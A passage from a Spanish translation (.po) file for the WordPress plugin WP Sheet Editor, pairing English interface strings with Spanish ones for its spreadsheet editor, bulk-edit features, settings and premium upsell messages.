empty post type. Make sure your CSV " "uses the right name in the post type column." msgstr "" "Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el " "nombre correcto en la columna \"Tipo de post\" o \"Post Type\"." #: wp-sheet-editor/dev/inc/providers/post.php:636 msgid "Row ID: %d, You do not have permission to delete this post." msgstr "Fila: %d. No tienes suficientes permisos para borrar este post." #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Go Premium" msgstr "Pásate a Premium" #: wp-sheet-editor/dev/inc/teasers/coupons.php:33 msgid "WooCommerce Coupons" msgstr "Cupones WooCommerce" #: wp-sheet-editor/dev/inc/teasers/coupons.php:51 msgid "" "Edit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, " "restrictions, and more. Make advanced searches. The spreadsheet is in sync " "with your site, no need to import/export. Download Plugin" msgstr "" "Editar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, " "estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de " "cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/formulas.php:34 msgid "Apply changes in bulk" msgstr "Aplicar cambios masivamente" #: wp-sheet-editor/dev/inc/teasers/formulas.php:56 msgid "Bulk Update feature" msgstr "Función de cambios masivos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:58 msgid "" "The \"bulk update\" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:" msgstr "" "La función \"Editor Masivo\" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/formulas.php:61 msgid "Replace words or phrases in your posts titles, content, or other fields" msgstr "" "Reemplazar palabras o frases en los títulos, contenido u otros campos de tus " "posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:62 msgid "Increase or decrease products prices" msgstr "Aumentar o disminuir los precios de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:63 msgid "Increase or decrease products stock" msgstr "Aumentar o disminuir el inventario de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:64 msgid "Move all your drafts to published posts or any other status" msgstr "" "Mover todos tus borradores a posts publicados o a cualquier otro estado" #: wp-sheet-editor/dev/inc/teasers/formulas.php:65 msgid "Set hundreds of products at once as out of stock or in stock" msgstr "" "Configurar cientos de productos a la vez como sin existencias o en " "existencias" #: wp-sheet-editor/dev/inc/teasers/formulas.php:66 msgid "" "Add call to actions or any text at the beginning or ending of your posts" msgstr "" "Añadir una llamada a la acción o cualquier texto al principio o al final de " "tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:67 msgid "Replace old shortcodes with new shortcodes in all your posts" msgstr "" "Reemplazar los shortcodes viejos por shortcodes nuevos en todos tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:68 msgid "Set the same featured image in all the posts in a category" msgstr "Ponerle la misma imagen destacada a todos los posts de una categoría" #: wp-sheet-editor/dev/inc/teasers/formulas.php:69 msgid "Move hundreds of posts to the trash" msgstr "Mover cientos de entradas a la papelera" #: wp-sheet-editor/dev/inc/teasers/formulas.php:70 msgid "Etc." msgstr "Etc." #: wp-sheet-editor/dev/inc/teasers/formulas.php:72 msgid "" "Imagine being able to do all those changes to hundreds or thousands of posts " "at once in just a few minutes. The formulas feature is available as premium " "extension." msgstr "" "Imagina poder hacer todos esos cambios a cientos o miles de entradas a la " "vez en sólo unos minutos. La función de fórmulas está disponible como " "extensión premium." #: wp-sheet-editor/dev/inc/teasers/formulas.php:75 #: wp-sheet-editor/dev/inc/teasers/frontend.php:77 #: wp-sheet-editor/dev/inc/teasers/post-types.php:132 msgid "Buy extension now!" msgstr "¡Compra la extensión ahora!" #: wp-sheet-editor/dev/inc/teasers/frontend.php:33 msgid "Display spreadsheet editor on the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:58 msgid "" "We have an extension for displaying this spreadsheet on the frontend. You " "can select the columns to display, and select the spreadsheet tools for the " "frontend users (search, bulk, edit, import, export, etc.). For example:" msgstr "" "Tenemos una extensión para mostrar esta hoja de cálculo en el frontend. " "Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de " "hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, " "importación, exportación, etc.). Por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/frontend.php:61 msgid "" "Allow your clients to edit WooCommerce Products using the spreadsheet " "without wp-admin" msgstr "" "Permite a tus clientes editar productos WooCommerce usando la hoja de " "cálculo sin tener que usar el escritorio de wp-admin" #: wp-sheet-editor/dev/inc/teasers/frontend.php:62 msgid "Allow your readers to submit blog posts using the spreadsheet" msgstr "" "Permite que tus lectores entreguen entradas del blog usando la hoja de " "cálculo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:63 msgid "Allow your visitors to publish events" msgstr "Permite a tus visitantes publicar eventos" #: wp-sheet-editor/dev/inc/teasers/frontend.php:64 msgid "Allow your store employees to manage stock and prices" msgstr "" "Permite a los empleados de tu tienda gestionar el inventario y los precios" #: wp-sheet-editor/dev/inc/teasers/frontend.php:65 msgid "Allow your marketplace sellers to import products on the frontend" msgstr "" "Permite a los vendedores de tu mercado importar productos en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:66 msgid "Allow your marketplace sellers to bulk edit their products" msgstr "" "Permite a los vendedores de tu mercado editar los productos masivamente" #: wp-sheet-editor/dev/inc/teasers/frontend.php:67 msgid "Allow your store buyers to download the catalog" msgstr "Permite a los compradores de tu tienda descargar el catálogo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:68 msgid "Allow your store customers to make advanced catalog searches " msgstr "" "Permite a los clientes de tu tienda realizar búsquedas avanzadas en el " "catálogo " #: wp-sheet-editor/dev/inc/teasers/frontend.php:69 msgid "And more." msgstr "Y más." #: wp-sheet-editor/dev/inc/teasers/frontend.php:72 msgid "Demo video" msgstr "Video de demostración" #: wp-sheet-editor/dev/inc/teasers/frontend.php:74 msgid "" "All the features available in the backend spreadsheet can be used in the " "frontend spreadsheet." msgstr "" "Todas las funciones disponibles en la hoja de cálculo del backend pueden " "utilizarse en el frontend." #: wp-sheet-editor/dev/inc/teasers/post-types.php:86 msgid "Edit WordPress %s" msgstr "Editar %s de WordPress" #: wp-sheet-editor/dev/inc/teasers/post-types.php:88 msgid "The spreadsheet editor can be used to edit your WordPress %s." msgstr "" "El editor de hojas de cálculo puede ser usado para editar tus %s de " "WordPress." #: wp-sheet-editor/dev/inc/teasers/post-types.php:91 msgid "You can edit your Media information like:" msgstr "Puedes editar tu información multimedia como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:94 msgid "Caption" msgstr "Leyenda" #: wp-sheet-editor/dev/inc/teasers/post-types.php:95 msgid "Alternative text" msgstr "Texto alternativo" #: wp-sheet-editor/dev/inc/teasers/post-types.php:98 msgid "Uploaded by user" msgstr "Subido por este usuario" #: wp-sheet-editor/dev/inc/teasers/post-types.php:100 msgid "Enable comments" msgstr "Habilitar comentarios" #: wp-sheet-editor/dev/inc/teasers/post-types.php:101 msgid "And see previews while editing" msgstr "Y ver vistas previas durante la edición" #: wp-sheet-editor/dev/inc/teasers/post-types.php:106 msgid "You can edit your WooCommerce products information like:" msgstr "Puedes editar la información de tus productos WooCommerce como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:110 msgid "Full content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/teasers/post-types.php:113 msgid "Sale price dates" msgstr "Fechas del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/post-types.php:114 msgid "Featured image" msgstr "Imagen destacada" #: wp-sheet-editor/dev/inc/teasers/post-types.php:115 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:655 msgid "Gallery" msgstr "Galería" #: wp-sheet-editor/dev/inc/teasers/post-types.php:117 msgid "Is Downloadable" msgstr "Es descargable" #: wp-sheet-editor/dev/inc/teasers/post-types.php:118 msgid "Is Virtual" msgstr "Es Virtual" #: wp-sheet-editor/dev/inc/teasers/post-types.php:124 msgid "" "With our editor you will be able to edit all the information of
                  your %s " "saving you a lot of time." msgstr "" "Con nuestro editor podrás editar toda la información de
                  tus %s, " "ahorrándote mucho tiempo." #: wp-sheet-editor/dev/inc/teasers/post-types.php:128 msgid "This feature is available as premium extension." msgstr "Esta función está disponible como una extensión premium." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "" "Tip from WP Sheet Editor: Edit thousands of categories at once, make " "advanced searches, view all the info in one page, and more." msgstr "" "Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, " "hacer búsquedas avanzadas, ver toda la información en una página, y más." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "Edit in a Spreadsheet" msgstr "Editar en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:51 msgid "" ". Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work" msgstr "" ". Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a " "la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de " "Trabajo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:70 msgid "View Extensions" msgstr "Ver Extensiones" #: wp-sheet-editor/dev/inc/teasers/users.php:32 msgid "Users" msgstr "Usuarios" #: wp-sheet-editor/dev/inc/teasers/users.php:51 msgid "" "Tip from WP Sheet Editor: You can view all the users in a table, view " "thousands of full profiles, edit hundreds of users at once without crashing " "your server, view all shipping/billing/buddypress information. Make advanced " "searches, create hundreds of users, and more. Download Plugin" msgstr "" "Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una " "tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez " "sin colapsar tu servidor, ver toda la información de envío/facturación/" "buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho " "más. Descargar el Plugin " #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:410 msgid "" ". Lite version. Showing all products and all fields as columns, 15 " "columns are editable and the rest are read only.
                  Upgrade: Edit in " "Excel/Google Sheets, export, import, bulk edit thousands of products at once." msgstr "" ". Versión Lite. Mostrando todos los productos y todos los campos como " "columnas, 15 columnas son editables y el resto son sólo de lectura. " "
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, " "editar todos los campos en miles de productos a la vez." #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:423 msgid "" "Tip from WP Sheet Editor: You can view and edit Product Variations in " "a spreadsheet, bulk edit, make advanced searches, edit hundreds of " "variations at once, copy variations to multiple products, etc. Download Plugin" msgstr "" "Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de " "productos en una hoja de cálculo, realizar búsquedas avanzadas, editar " "cientos de variaciones a la vez, copiar variaciones a varios productos, etc. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:521 msgid "Regular Price" msgstr "Precio normal" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:535 msgid "Sale Price" msgstr "Precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:701 msgid "Sales price date from" msgstr "Fecha inicial del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:713 msgid "Sales price date to" msgstr "Fecha final del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:740 msgid "is featured?" msgstr "Es destacado?" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:756 msgid "Allow backorders" msgstr "Permitir reservas" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:931 msgid "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." msgstr "" "Nota: Separa los valores con este carácter: %s.
                  El producto debe ser " "variable y tener variaciones existentes para que esto funcione. De lo " "contrario los atributos por defecto no serán guardados." #: wp-sheet-editor/dev/views/editor-page.php:79 msgid "Full screen mode is active" msgstr "El modo de pantalla completa está activado" #: wp-sheet-editor/dev/views/editor-page.php:80 msgid "Exit" msgstr "Salir" #: wp-sheet-editor/dev/views/editor-page.php:84 msgid "Activate full screen" msgstr "Activar el modo de pantalla completa" #: wp-sheet-editor/dev/views/editor-page.php:145 msgid "Current spreadsheet" msgstr "Hoja de cálculo actual" #: wp-sheet-editor/dev/views/editor-page.php:149 msgid "Rows" msgstr "Filas" #: wp-sheet-editor/dev/views/editor-page.php:182 msgid "" ". We recommend you increase the server memory to at least 256mb to prevent " "server errors. Tutorial" msgstr "" ". Recomendamos que incrementes la memoria del servidor al menos hasta 256mb " "para prevenir errores del servidor. Tutorial" #: wp-sheet-editor/dev/views/editor-page.php:186 msgid "Active filters:" msgstr "Filtros activos:" #: wp-sheet-editor/dev/views/editor-page.php:199 #: wp-sheet-editor/dev/views/quick-setup.php:39 msgid "Welcome to WP Sheet Editor" msgstr "Bienvenido a WP Sheet Editor" #: wp-sheet-editor/dev/views/editor-page.php:200 msgid "" "Please make a search to load the rows and start editing (use the \"search\" " "option in the top toolbar)." msgstr "" "Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa " "la herramienta \"Buscar\" en la barra superior)." #: wp-sheet-editor/dev/views/editor-page.php:202 msgid "" "You need to load the rows manually because you deactivated the automatic " "loading of rows. Change the settings" msgstr "" "Necesitas cargar las filas manualmente porque desactivaste la carga " "automática de filas. Cambiar los ajustes" #: wp-sheet-editor/dev/views/editor-page.php:229 msgid "Go to page" msgstr "Ir a la página" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "Use an infinite list instead of pagination" msgstr "Usar una lista infinita en lugar de la paginación" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "" "Activate this option to remove the pagination buttons and load rows " "automatically when you scroll down. You will see all the rows at the same " "time, you can load thousands of rows without problems." msgstr "" "Activa esta opción para eliminar los botones de paginación y cargar las " "filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas " "al mismo tiempo, puedes cargar miles de filas sin problemas." #: wp-sheet-editor/dev/views/editor-page.php:234 msgid "Load More Rows" msgstr "Cargar más filas" #: wp-sheet-editor/dev/views/editor-page.php:235 msgid "Go to the top" msgstr "Ir arriba" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "Enable pagination" msgstr "Habilitar la paginación" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list" msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y deshabilitar la lista infinita." #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "Increase rows per page" msgstr "Aumentar filas por página" #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "" "We use pagination. By default we load 20 rows per page (every time you " "scroll down). You can increase the number to load more rows every time you " "scroll down." msgstr "" "Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que " "te desplazas hacia abajo). Puedes aumentar el número para cargar más filas " "cada vez que te desplazas hacia abajo." #: wp-sheet-editor/dev/views/editor-page.php:259 msgid "Delete rows" msgstr "Borrar filas" #: wp-sheet-editor/dev/views/editor-page.php:260 msgid "You selected 0 rows to be deleted completely." msgstr "Seleccionaste 0 filas para borrarlas completamente." #: wp-sheet-editor/dev/views/editor-page.php:261 msgid "" "This will delete the rows from your database completely and the only way to " "undo this change is to restore a backup. Please make a backup in case you " "might need to undo this later." msgstr "" "Esto borrará las filas de tu base de datos completamente y la única manera " "de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz " "una copia de seguridad en caso de que puedas necesitar deshacer esto después." #: wp-sheet-editor/dev/views/editor-page.php:262 msgid "Please type the word DELETE and press enter to proceed:" msgstr "" "Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:" #: wp-sheet-editor/dev/views/editor-page.php:275 msgid "OK" msgstr "OK" #: wp-sheet-editor/dev/views/editor-page.php:287 #: wp-sheet-editor/dev/views/editor-page.php:314 msgid "Save changes and edit the previous row" msgstr "Guardar los cambios y editar el post anterior" #: wp-sheet-editor/dev/views/editor-page.php:290 #: wp-sheet-editor/dev/views/editor-page.php:318 msgid "Save changes and edit the next row" msgstr "Guardar los cambios y editar el siguiente post" #: wp-sheet-editor/dev/views/editor-page.php:305 msgid "Editing:" msgstr "Editando:" #: wp-sheet-editor/dev/views/editor-page.php:310 msgid "You can resize the editor" msgstr "Puedes cambiar el tamaño del editor" #: wp-sheet-editor/dev/views/editor-page.php:315 msgid "Just save changes" msgstr "Sólo guarda los cambios" #: wp-sheet-editor/dev/views/editor-page.php:317 msgid "Cancel the changes and close popup" msgstr "Cancelar los cambios y cerrar la ventana emergente" #: wp-sheet-editor/dev/views/editor-page.php:336 msgid "" "The changes about to be made are not reversible. You should backup your " "database before proceding." msgstr "" "Los cambios que estás a punto de realizar son irreversibles. Debes hacer una " "copia de seguridad de tu base de datos antes de proceder." #: wp-sheet-editor/dev/views/editor-page.php:338 msgid "The changes about to be made are not reversible" msgstr "Los cambios que estás a punto de realizar no son reversibles" #: wp-sheet-editor/dev/views/editor-page.php:340 msgid "I understand, continue" msgstr "Entiendo, continuar" #: wp-sheet-editor/dev/views/editor-page.php:345 msgid "" "We are saving now. Don't close this window until the process has finished." msgstr "" "Estamos guardando ahora. No cierres esta ventana hasta que el proceso haya " "terminado." #: wp-sheet-editor/dev/views/editor-page.php:347 msgid "" "Tip: The saving is too slow? Save " "more posts per batch
                  Are you getting errors when saving? Save less posts per batch" msgstr "" "Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes " "errores al guardar? Guardar menos filas por lote" #: wp-sheet-editor/dev/views/editor-page.php:374 msgid "" "The loading is taking too long?
                  1. You can wait until the process " "finished.
                  2. You can " msgstr "" "La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el " "proceso haya terminado.
                  2. Puedes " #: wp-sheet-editor/dev/views/extensions-modal.php:5 #: wp-sheet-editor/dev/views/usage-stats-widget.php:96 msgid "Extend the spreadsheet" msgstr "Ampliar la hoja de cálculo" #: wp-sheet-editor/dev/views/extensions-page.php:19 msgid "What component do you need?" msgstr "¿Qué componente necesitas?" #: wp-sheet-editor/dev/views/extensions.php:31 msgid "Promotion. %d%% OFF only today. " msgstr "Promoción. Ahorra %d%% solo hoy. " #: wp-sheet-editor/dev/views/extensions.php:33 msgid "Get the %d extensions below for just $ %s $ %s" msgstr "" "Obtén las siguientes %d extensiones por sólo $ %s $ %s" #: wp-sheet-editor/dev/views/extensions.php:37 msgid "
                  Use the coupon: %s" msgstr "
                  Usar el cupón: %s" #: wp-sheet-editor/dev/views/extensions.php:41 msgid "" "Money back guarantee. Buy the plugin without worries. We'll give you " "a refund if the plugin doesn't work." msgstr "" "Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona." #: wp-sheet-editor/dev/views/extensions.php:49 msgid "Other extensions" msgstr "Otras extensiones" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:15 msgid "Spreadsheet for %s %s" msgstr "Hoja de cálculo para %s %s" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:19 msgid "

                  Free extensions

                  " msgstr "

                  Extensiones gratuitas

                  " #: wp-sheet-editor/dev/views/post-types-form.php:17 msgid "Available spreadsheets" msgstr "Hojas de cálculo disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:64 msgid "Save and continue" msgstr "Guardar y continuar" #: wp-sheet-editor/dev/views/quick-setup.php:70 msgid "Available components" msgstr "Componentes disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:71 msgid "" "The spreadsheet editor is very powerful and it has a lot of features. In " "this step you can enable the features that you need." msgstr "" "El editor de hojas de cálculo es muy potente y tiene muchas características. " "En este paso puedes habilitar las funciones que necesites." #: wp-sheet-editor/dev/views/quick-setup.php:77 msgid "Continue" msgstr "Continuar" #: wp-sheet-editor/dev/views/quick-setup.php:81 msgid "The Spreadsheet is ready." msgstr "La Hoja de cálculo está lista." #: wp-sheet-editor/dev/views/quick-setup.php:94 #: wp-sheet-editor/dev/views/usage-stats-widget.php:115 msgid "Edit " msgstr "Editar " #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "" "Tip. We can help you with the spreadsheet setup. Get instant help in the " "live chat during business hours" msgstr "" "Consejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén " "ayuda instantánea en el chat en vivo en horas de oficina." #: wp-sheet-editor/dev/views/settings-form.php:2 msgid "Advanced Settings" msgstr "Ajustes Avanzados" #: wp-sheet-editor/dev/views/settings-form.php:14 #: wp-sheet-editor/dev/views/settings-form.php:87 msgid "Reset settings" msgstr "Restablecer los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:15 msgid "Export and import settings" msgstr "Exportar e importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:86 msgid "" "We will display all the columns that were deleted or disabled, renamed " "columns will show the original titles, we will rescan the database to find " "columns again, and the speed/advanced settings will be reset to the " "defaults. This only affects settings of our plugin and it does not affect " "the data edited with the sheet." msgstr "" "Mostraremos todas las columnas que fueron borradas o deshabilitadas, las " "columnas renombradas mostrarán los títulos originales, volveremos a escanear " "la base de datos para encontrar las columnas de nuevo, y los ajustes " "avanzados y de velocidad se restablecerá a los valores predeterminados. Esto " "sólo afecta a la configuración de nuestro plugin y no afecta a los datos " "editados con la hoja de cálculo." #: wp-sheet-editor/dev/views/settings-form.php:90 msgid "These options will be included in the export and import:" msgstr "Estas opciones serán incluidas en la exportación e importación:" #: wp-sheet-editor/dev/views/settings-form.php:92 msgid "Column sizes" msgstr "Tamaños de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:93 msgid "Column titles" msgstr "Títulos de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:94 msgid "Column settings defined in the columns manager" msgstr "Configuraciones definidas en el gestor de columnas" #: wp-sheet-editor/dev/views/settings-form.php:95 msgid "Columns created manually" msgstr "Columnas creadas manualmente" #: wp-sheet-editor/dev/views/settings-form.php:97 msgid "Saved exports" msgstr "Exportaciones guardadas" #: wp-sheet-editor/dev/views/settings-form.php:98 msgid "Saved searches" msgstr "Búsquedas guardadas" #: wp-sheet-editor/dev/views/settings-form.php:99 msgid "List of deleted columns" msgstr "Listado de columnas eliminadas" #: wp-sheet-editor/dev/views/settings-form.php:100 msgid "Favorite search fields" msgstr "Campos de búsqueda marcados como favoritos" #: wp-sheet-editor/dev/views/settings-form.php:101 msgid "Column groups" msgstr "Grupos de columnas" #: wp-sheet-editor/dev/views/settings-form.php:102 msgid "Post types created with WP Sheet Editor" msgstr "Tipos de posts creados con WP Sheet Editor" #: wp-sheet-editor/dev/views/settings-form.php:105 msgid "Click here to export the settings" msgstr "Haz clic aquí para exportar los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:107 msgid "Import settings" msgstr "Importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:108 msgid "Paste the settings here (the contents of the exported file). Notes:" msgstr "Pega los ajustes aquí (el contenido del archivo exportado). Notas:" #: wp-sheet-editor/dev/views/settings-form.php:110 msgid "The import will overwrite existing settings" msgstr "La importación sobrescribirá los ajustes existentes." #: wp-sheet-editor/dev/views/settings-form.php:111 msgid "Please make a database backup before the import to be safe" msgstr "" "Por favor, haz una copia de seguridad de tu base de datos antes de importar " "para estar más seguro." #: wp-sheet-editor/dev/views/settings-form.php:112 msgid "" "Some columns depend on other plugins. So the source site and this site must " "use the same plugins to have the same columns" msgstr "" "Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de " "destino deben usar los mismos plugins para que tengas las mismas columnas" #: wp-sheet-editor/dev/views/single-extension.php:16 msgid "Active." msgstr "Activo." #: wp-sheet-editor/dev/views/usage-stats-widget.php:54 msgid "Thank you for using our spreadsheet editor" msgstr "Gracias por usar nuestro editor de hojas de cálculo" #: wp-sheet-editor/dev/views/usage-stats-widget.php:62 msgid "Usage stats" msgstr "Estadísticas de uso" #: wp-sheet-editor/dev/views/usage-stats-widget.php:68 msgid "Modified rows" msgstr "Filas modificadas" #: wp-sheet-editor/dev/views/usage-stats-widget.php:72 msgid "Time saved
                  (estimated)" msgstr "Tiempo ahorrado
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:76 msgid "Clicks avoided
                  (estimated)" msgstr "Clics ahorrados
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:97 msgid "" "Edit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit " "hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and More" msgstr "" "Editar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre " "filas,
                  Editar post types personalizados y campos personalizados, Editar " "Perfiles de Usuario, y Más" #: wp-sheet-editor/dev/views/usage-stats-widget.php:98 msgid "View extensions" msgstr "Ver extensiones" #: wp-sheet-editor/dev/views/usage-stats-widget.php:103 msgid "Open the Spreadsheet Editor" msgstr "Abrir el Editor de Hojas de Cálculo" #: wp-sheet-editor/dev/views/whats-new.php:15 msgid "What's new on WP Sheet Editor" msgstr "Novedades en WP Sheet Editor" #: wp-sheet-editor/dev/views/whats-new.php:17 msgid "Thank you for updating to the new version of the plugin." msgstr "Gracias por actualizar a la nueva versión del plugin." #: wp-sheet-editor/dev/wp-sheet-editor.php:185 msgid "Edit User Profiles in Spreadsheet - Basic" msgstr "Editar perfiles de usuario en una hoja de cálculo - Básico" #: wp-sheet-editor/dev/wp-sheet-editor.php:188 msgid "" "

                  Edit WordPress users in spreadsheet, edit only basic profiles and make " "basic searches.

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo " "perfiles básicos y realizar búsquedas básicas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:196 msgid "Edit User Profiles in Spreadsheet - FULL" msgstr "Editar Perfiles de Usuario en la Hoja de Cálculo - COMPLETO" #: wp-sheet-editor/dev/wp-sheet-editor.php:199 msgid "" "

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including " "custom fields. Add new columns to the spreadsheet, Good for ecommerce " "stores, membership sites, events directories, business directories, user " "directories

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de " "usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas " "a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de " "membresía, directorios de eventos, directorios de negocios, directorios de " "usuarios.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:206 msgid "WooCommerce Customers Spreadsheet" msgstr "Hoja de Cálculo de Clientes de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:209 msgid "" "

                  View all your Customers in a Spreadsheet. View full profile, Edit " "Profiles Quickly, View Billing and Shipping information, Make advanced " "customer searches, Export Customers to Excel or Google Sheets, Import " "Customers from External Applications

                  " msgstr "" "

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja " "de cálculo. Editar perfiles rápidamente. Ver y editar la información de " "facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. " "Exportar clientes a Excel o Google Sheets. Importar clientes desde " "aplicaciones externas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:216 msgid "Media Library Spreadsheet" msgstr "Hoja de Cálculo de la Biblioteca de Medios de WordPress" #: wp-sheet-editor/dev/wp-sheet-editor.php:219 msgid "" "

                  View the image, videos, and all the files from the WP Media library in a " "spreadsheet. Edit all the file fields, including alt text, image captions, " "file descriptions, Advanced Search by any field , Auto generate alt text, " "captions, etc. using the parent post title or categorías, Update thousands " "of files at once, and more.

                  " msgstr "" "

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca " "de medios de WordPress en una hoja de cálculo. Editar todos los campos de " "los archivos, incluyendo el texto alternativo, la leyenda, las descripciones " "de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de " "manera automática los textos alternativos, las leyendas, etc. usando el " "título o las categorías de las entradas principales. Actualizar miles de " "archivos a la vez. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:221 #: wp-sheet-editor/dev/wp-sheet-editor.php:235 #: wp-sheet-editor/dev/wp-sheet-editor.php:267 #: wp-sheet-editor/dev/wp-sheet-editor.php:281 #: wp-sheet-editor/dev/wp-sheet-editor.php:295 #: wp-sheet-editor/dev/wp-sheet-editor.php:309 #: wp-sheet-editor/dev/wp-sheet-editor.php:324 #: wp-sheet-editor/dev/wp-sheet-editor.php:338 #: wp-sheet-editor/dev/wp-sheet-editor.php:352 #: wp-sheet-editor/dev/wp-sheet-editor.php:366 msgid "Buy" msgstr "Comprar" #: wp-sheet-editor/dev/wp-sheet-editor.php:230 msgid "Edit categories, tags, attributes in a spreadsheet" msgstr "Editar categorías, etiquetas y atributos en una hoja de cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:233 msgid "" "

                  One spreadsheet for categories, tags, product attributes, event " "categories, portfolio categories, real state tags, etc. View and edit all " "the items in one place, copy paste, upload category images quickly, add " "descriptions, edit SEO, etc.

                  " msgstr "" "

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, " "categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, " "etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir " "imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y " "mucho más.

